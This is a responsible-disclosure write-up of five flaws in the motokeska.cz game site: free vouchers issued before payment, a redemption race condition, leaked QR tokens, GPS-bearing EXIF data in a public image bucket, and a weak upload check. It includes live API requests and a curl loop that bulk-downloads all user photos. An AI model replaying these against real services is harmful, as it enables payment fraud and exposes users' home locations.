Motokeska - Unlock All Races for Free, Collect QR Codes from Your Couch && Leak Your Location

Executive Summary

A targeted security assessment of motokeska.cz was conducted following explicit permission from the system administrator. The assessment was performed without any special privileges, simulating a realistic attacker with no insider access.

Five vulnerabilities were identified across four distinct attack surfaces:

  • Voucher codes issued before payment is completed, enabling unlimited free vouchers
  • Race condition in the redemption endpoint allowing a single voucher to activate multiple routes
  • QR cache tokens exposed via a public API, enabling prize fraud without visiting real-world locations
  • Arbitrary file upload accepted by the server due to insufficient content validation
  • EXIF metadata retained in user profile images, potentially revealing GPS coordinates

motokeska-summary

motokeska-summary

All findings were responsibly disclosed to the domain owner, who acknowledged the bugs and granted permission to publish this article.

Vouchers for Free: How to Skip the Payment

Description

Motokeska.cz allows users to purchase vouchers that unlock paid routes on the voucher purchase page.
The purchase flow is straightforward - user fills in their email, selects a voucher type, and proceeds to payment via the GoPay gateway.

motokeska-voucher-page

motokeska-voucher-page

The problem? The server generates and returns a valid voucher code before the payment is completed.
When the purchase is initiated, the browser calls the following API endpoint:

POST /api/payments/coupon-payment HTTP/2 Host: api-dot-motokeska.ew.r.appspot.com Content-Type: application/json

{"email":"hacker@evil.com","coupon_type":"single","year":2026}

Copy

POST /api/payments/coupon-payment HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Content-Type: application/json

{"email":"hacker@evil.com","coupon_type":"single","year":2026}

The server responds immediately with a fully valid voucher code:

HTTP/2 200 OK
Content-Type: application/json

{
"gw_url":"https://gate.gopay.com/gw-ui/rest/v3/bf312f244c524733b673a9ee4c066000", "id":1234567890, "coupon_code":"MOTO-ABCD123" }

Copy

HTTP/2 200 OK  
Content-Type: application/json
  
{  
  "gw_url":"https://gate.gopay.com/gw-ui/rest/v3/bf312f244c524733b673a9ee4c066000",
  "id":1234567890,
  "coupon_code":"MOTO-ABCD123"
}

The coupon_code field in the response is immediately redeemable — regardless of whether the user ever completes the payment. The payment gateway URL (gw_url) is present in the response, but the server never waits for a confirmation callback from GoPay before issuing the code. The voucher generation and the payment are effectively decoupled.

This means the endpoint can be called repeatedly, generating an unlimited number of valid vouchers at no cost.

IMG_PLACEHOLDER

Remediation

Voucher codes should only be generated after receiving a verified payment confirmation callback from the payment gateway. The server must never include a voucher code in the initial payment creation response — the code should only be issued once a successful payment is confirmed server-side.

One Voucher, Unlimited Routes: Exploiting a Race Condition

Description

Motokeska.cz allows authenticated users to redeem voucher codes through their profile page. Each voucher is intended to be single-use and should unlock exactly one paid route.

motokeska-voucher-profile

The /api/coupons/redeem endpoint handles the redemption. A standard request looks like this:

POST /api/coupons/redeem HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Authorization: Bearer

{"code":"MOTO-ABCD123","voucher_type":"single","selected_route":{"year":2026,"type":"main","number":"05"}}

Copy

POST /api/coupons/redeem HTTP/2  
Host: api-dot-motokeska.ew.r.appspot.com  
Authorization: Bearer <JWT>  
  
{"code":"MOTO-ABCD123","voucher_type":"single","selected_route":{"year":2026,"type":"main","number":"05"}}

If the same voucher is redeemed sequentially for a second route, the server correctly rejects it:

Tento voucher byl již použit. Každý voucher lze uplatnit pouze jednou.

However, if multiple redemption requests are sent concurrently — each targeting a different route by modifying the selected_route.number parameter — all requests reach the server before the voucher is marked as used. Each request succeeds independently, unlocking a different paid route with the same voucher code.

motokeska-race-condition

motokeska-race-condition

Remediation

The redemption endpoint must validate and mark the voucher as used in a single atomic operation — not as two separate steps. A database-level transaction with a pessimistic lock (e.g. SELECT FOR UPDATE) ensures that once the first request reads the voucher status, no concurrent request can read it until the first one has finished writing. Any request that arrives while the lock is held should receive an error response, not a success.

Complete the Route Without Leaving Home: How to Cheat the Game via API

Description

Motokeska is a real-world game. Players purchase a route, drive or ride to physical locations, and scan QR codes embedded in metal labels placed across the countryside. Each label looks like this:

motokeska-qr-code

motokeska-qr-code

Scanning the QR code on such a label redirects the player to a URL in the format:

https://motokeska.cz/keska/2025/city/01/14?token=JyOz6oe4gC602nRCW2bV

Copy

https://motokeska.cz/keska/2025/city/01/14?token=JyOz6oe4gC602nRCW2bV

The token parameter is what proves you were physically at the location. It is the core mechanic of the game and the entry ticket to prize draws.

The problem is that these tokens are exposed through a public API endpoint. Anyone can retrieve them without leaving their desk.

The following request returns all cache data for a given route, including the token values that are normally only obtainable by physically visiting the location and scanning the label:

GET /api/caches?route_id=12&year=2026 HTTP/2 Host: api-dot-motokeska.ew.r.appspot.com Authorization: Bearer

Copy

GET /api/caches?route_id=12&year=2026 HTTP/2
Host: api-dot-motokeska.ew.r.appspot.com
Authorization: Bearer <JWT>

The response includes the token for every cache on the route:

HTTP/2 200 OK Content-Type: application/json

[ { "id": 42, "route_id": 12, "name": "Cache #1", "qr_code_token": "JyOz6oe4gC602nRCW2bV", "gps_lat": 49.8175, "gps_lon": 13.4734 }, ... ]

Copy

HTTP/2 200 OK
Content-Type: application/json

[
  {
    "id": 42,
    "route_id": 12,
    "name": "Cache #1",
    "qr_code_token": "JyOz6oe4gC602nRCW2bV",
    "gps_lat": 49.8175,
    "gps_lon": 13.4734
  },
  ...
]

With these tokens in hand, an attacker can construct valid cache confirmation requests and submit them as if they had visited each location — completing the entire route from home, earning points, and entering the prize draw without ever starting an engine.

motokeska-cache-found

motokeska-cache-found

Remediation

The qr_code_token field must never be returned by the API before the cache has been physically scanned. The token should only be used server-side to validate an incoming scan request — it has no legitimate reason to be sent to the client in advance.

Your Profile Picture May Leak Your Location

Description

Motokeska.cz allows users to set a profile picture. What most users wouldn't expect is that their photo may silently reveal where they live.

When a user uploads a profile picture, the image is stored in a publicly accessible Google Cloud Storage bucket without any metadata sanitization. This means that if the uploaded photo contains EXIF metadata — as most smartphone photos do — that metadata is preserved and accessible to anyone who can retrieve the file.

The bucket can be enumerated directly through the storage endpoint, without using the application at all:

https://storage.googleapis.com/motokeska-user-images?prefix=profile-images

Copy

https://storage.googleapis.com/motokeska-user-images?prefix=profile-images

This returns a list of all stored objects, which can then be downloaded in bulk:

burl='https://storage.googleapis.com/motokeska-user-images/' curl -s https://storage.googleapis.com/motokeska-user-images \ | rg -oPN '(?<=).*?(?=)' > keys.list

for key in $(cat keys.list); do curl -s -O "${burl}${key}" done

Copy

burl='https://storage.googleapis.com/motokeska-user-images/'
curl -s https://storage.googleapis.com/motokeska-user-images \
  | rg -oPN '(?<=<Key>).*?(?=</Key>)' > keys.list

for key in $(cat keys.list); do
  curl -s -O "${burl}${key}"
done

Some of the uploaded photos:

motokeska-avatars

motokeska-avatars

Once downloaded, the images can be inspected with exiftool. If the author did not strip the metadata before uploading, the photo may reveal the location where it was taken. An example from an iPhone:

[ExifIFD] LensModel : iPhone 14 Pro front TrueDepth camera 2.69mm f/1.9 [GPS] GPSLatitude : 50 deg 5' 11.04" [GPS] GPSLongitude : 14 deg 24' 35.88" [GPS] GPSAltitude : 187.0396476 m

Copy

  [ExifIFD]   LensModel                  : iPhone 14 Pro front TrueDepth camera 2.69mm f/1.9
  [GPS]       GPSLatitude                : 50 deg 5' 11.04"
  [GPS]       GPSLongitude               : 14 deg 24' 35.88"
  [GPS]       GPSAltitude                : 187.0396476 m

A selfie taken at home and used as a profile picture just disclosed the user's home address to anyone who knows where to look.

motokeska-location-from-photo

motokeska-location-from-photo

Remediation

Uploaded images should be stripped of all metadata before storage. This can be done server-side using tools such as exiftool, ImageMagick, or by re-encoding the image through an image processing library — which also serves as an additional layer of defence against malformed or malicious uploads.

Uploading Anything: When the Server Trusts Too Much

Description

Motokeska.cz allows users to upload a profile picture through their profile page. The server is supposed to accept only images — but the validation is trivially bypassable.

The upload endpoint checks only the Content-Type header of the request. If the header starts with image/, the file is accepted — regardless of what the file actually contains. An attacker can upload any file by simply setting the header to image/jpeg while sending an entirely different payload:

POST /api/users/123/profile-image HTTP/2 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...

------WebKitFormBoundary Content-Disposition: form-data; name="profileImage"; filename="image.png" Content-Type: image/javascript

Copy

POST /api/users/123/profile-image HTTP/2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...

------WebKitFormBoundary
Content-Disposition: form-data; name="profileImage"; filename="image.png"
Content-Type: image/javascript

The server accepts the upload and stores the file in a publicly accessible Google Cloud Storage bucket with an extension derived from the supplied Content-Type — not from the actual file content.

There is a second issue hiding in the same endpoint. The filename stored in the bucket is derived from the user ID in the request path. Adding leading zeros to the user ID produces a different filename, while the server still accepts the request as valid:

Request path

Stored filename

/api/users/3/profile-image

user_3.jpg

/api/users/003/profile-image

user_003.jpg

/api/users/00000003/profile-image

user_00000003.jpg

This means an attacker can upload an unlimited number of files to a trusted Google Cloud Storage bucket — a bucket that may be whitelisted by other systems or CSP policies — simply by incrementing the number of leading zeros.

Remediation

Content-Type headers are user-controlled and must never be trusted as the sole validation mechanism. The server should inspect the actual file content using magic byte validation and reject anything that does not match a known image format. The user identifier in the upload path must be normalized before use — leading zeros should be stripped and the resolved ID verified against the authenticated user. Enforcing one active profile image per user by replacing existing files rather than creating new ones would also eliminate the storage abuse vector.

Disclosure Timeline

9. March 2026 - requested permission from the owner of motokeska.cz (David Král) to conduct security testing
27. March 2026 - conditions reviewed and clarified
6. June 2026 - personal meeting, explanation, recommendations
7. June 2026 - sent report to owner of motokeska.cz
9. June 2026 - post published

Reward

No bug bounty program exists for motokeska.cz and no reward was requested. The report was shared voluntarily. The motokeska.cz team, entirely on their own initiative, sent a reward of CZK 20,000.